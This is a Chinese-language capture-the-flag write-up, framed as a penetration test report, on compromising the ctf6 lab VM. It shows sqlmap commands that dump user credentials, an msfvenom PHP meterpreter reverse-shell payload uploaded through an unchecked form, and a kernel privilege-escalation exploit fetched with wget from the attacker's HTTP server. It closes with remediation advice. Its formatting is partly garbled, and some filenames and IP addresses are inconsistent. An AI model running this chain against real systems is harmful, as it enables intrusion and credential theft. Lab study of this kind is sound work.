CTF6渗透测试
ctf6 靶机渗透测试
渗透测试报告(完整版)
测试目标:192.168.5.134(Widgets Inc. 网站)测试时间:2026 年 01 月 18 日测试人员:渗透测试工程师
一、信息收集
- 主机发现:使用
arp-scan发现目标主机:
1 | arp-scan -l |
- 结果:
192.168.5.134(MAC:00:0c:29:62:79:f3,VMware 虚拟机)。 - 端口****扫描:使用
nmap进行全端口扫描:
1 | nmap -sV -sC -p- 192.168.5.134 |
- 开放端口及服务:
| 端口 | 服务 | 版本 |
|---|---|---|
| 22/tcp | SSH | OpenSSH 4.3 |
| 80/tcp | HTTP | Apache httpd 2.2.3 (CentOS) |
| 110/tcp | POP3 | Dovecot pop3d |
| 111/tcp | RPCbind | 2 (RPC #100000) |
| 143/tcp | IMAP | Dovecot imapd |
| 3306/tcp | MySQL | MySQL 5.0.45 |
| 993/tcp | SSL/IMAP | Dovecot imapd |
| 995/tcp | SSL/POP3 | Dovecot pop3d |
- 通过
sqlmap进一步确认:- 操作系统:Linux CentOS 5
- Web 服务器:Apache 2.2.3
- 后端语言:PHP 5.2.6
- 数据库:MySQL 5.0.12
- 网站功能:首页、登录、事件管理、用户管理等模块。
二、漏洞发现与利用
- 漏洞验证:对
http://192.168.5.134/index.php?id=4进行测试,sqlmap检测到 布尔盲注、时间盲注 和 UNION 查询注入:
1 | sqlmap -u http://192.168.5.134/index.php?id=4 |
确认
id参数存在注入,支持 7 列 UNION 查询。数据提取:
列出所有数据库:
sqlmap -u http://192.168.5.134/index.php?id=4 -dbs1
2
3
4
5
6
7
8
9
10
11
12
13
- 
- 
- 结果:`cms`、`information_sc``hema`、`mysql`、`roundcube`。
- 列出 `cms` 库中的表:
- 
- ```Plain
sqlmap -u http://192.168.5.134/index.php?id=4 -D cms -tables结果:
event、log、user。导出
user表数据:sqlmap -u http://192.168.5.134/index.php?id=4 -D cms -T user -dump1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
- 结果:
- | user_id | user_password | user_username |
| ------- | -------------------------------------------- | ------------- |
| 1 | 25e4ee4e9229397b6b17776bfceaf8e7 (adminpass) | admin |
1. ### 后台登录与文件上传
- **登录后台**:使用 `admin:adminpass` 登录 `/login.php`,进入事件管理页面。

- **文件上传漏洞**:在 “Add a New Event” 页面存在未校验的文件上传功能。

- **生成恶意文件**:

```Plain
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.5.134 lport=4444 -o shell.php
上传并触发:上传
shell.php,访问``http://192.168.5.134/index.php?id=23触发反向连接。
- 获取 Meterpreter Shell:在 Metasploit 中监听:
1 | msfconsole |
成功获取
apache用户权限的 Meterpreter 会话。本地提权:
切换到交互式 Shell:
meterpreter > shell python -c 'import pty;pty.spawn("/bin/bash")'普通的提权行不通
使用内核提权
使用
uname -a获取内核版本识别 CentOS 5 内核漏洞:
使用
searchsploit Linux 2.6不要太过于详细,以免扫不到得到几个可以使用的漏洞
使用这个,上面那个应该也可以但是当时没有找到需要的进程号
pid使用
locate linux/local/8572.c获取脚本位置 使用cp /usr/share/exploitdb/exploits/linux/local/8572.c ./保存到当前目录使用
python -m http.server 8888开启一个HTTP服务,把脚本传到靶机上去在靶机上使用
wget http//192.168.5.130:8888/8478.sh获取文件使用
chmod +x 8478.sh给文件赋予更高的权限使用
cat /proc/net/netlink再找一个权限高的进程号去执行它最终使用
./8478.sh 567执行 再用id查看是否提权成功结果:
uid=0(root) gid=0(root) groups=48(apache),成功获取 root 权限。4 xss
刚刚文件上传的地方可以上传有 xss 恶意代码的文件,然后访问,就会执行
三、安全建议
- 修复 SQL 注入
- 对所有用户输入使用参数化查询,禁止直接拼接 SQL 语句。
- 部署 Web 应用防火墙(WAF)拦截恶意注入请求。
- 加固文件上传
- 校验文件类型、后缀和内容,对上传文件重命名并存储在非 Web 可执行目录。
- 配置 Apache 禁止在上传目录执行脚本。
- 系统与软件升级
- 升级 CentOS 5 至 CentOS 7/8,安装最新安全补丁。
- 升级 PHP 5.2.6 → PHP 7.4+,MySQL 5.0 → MySQL 8.0,Apache 2.2 → Apache 2.4。
- 权限管理
- 以低权限用户运行 Web 服务,避免
root或apache高权限运行。 - 定期审计服务器账号和文件权限,清理冗余权限。
- 以低权限用户运行 Web 服务,避免





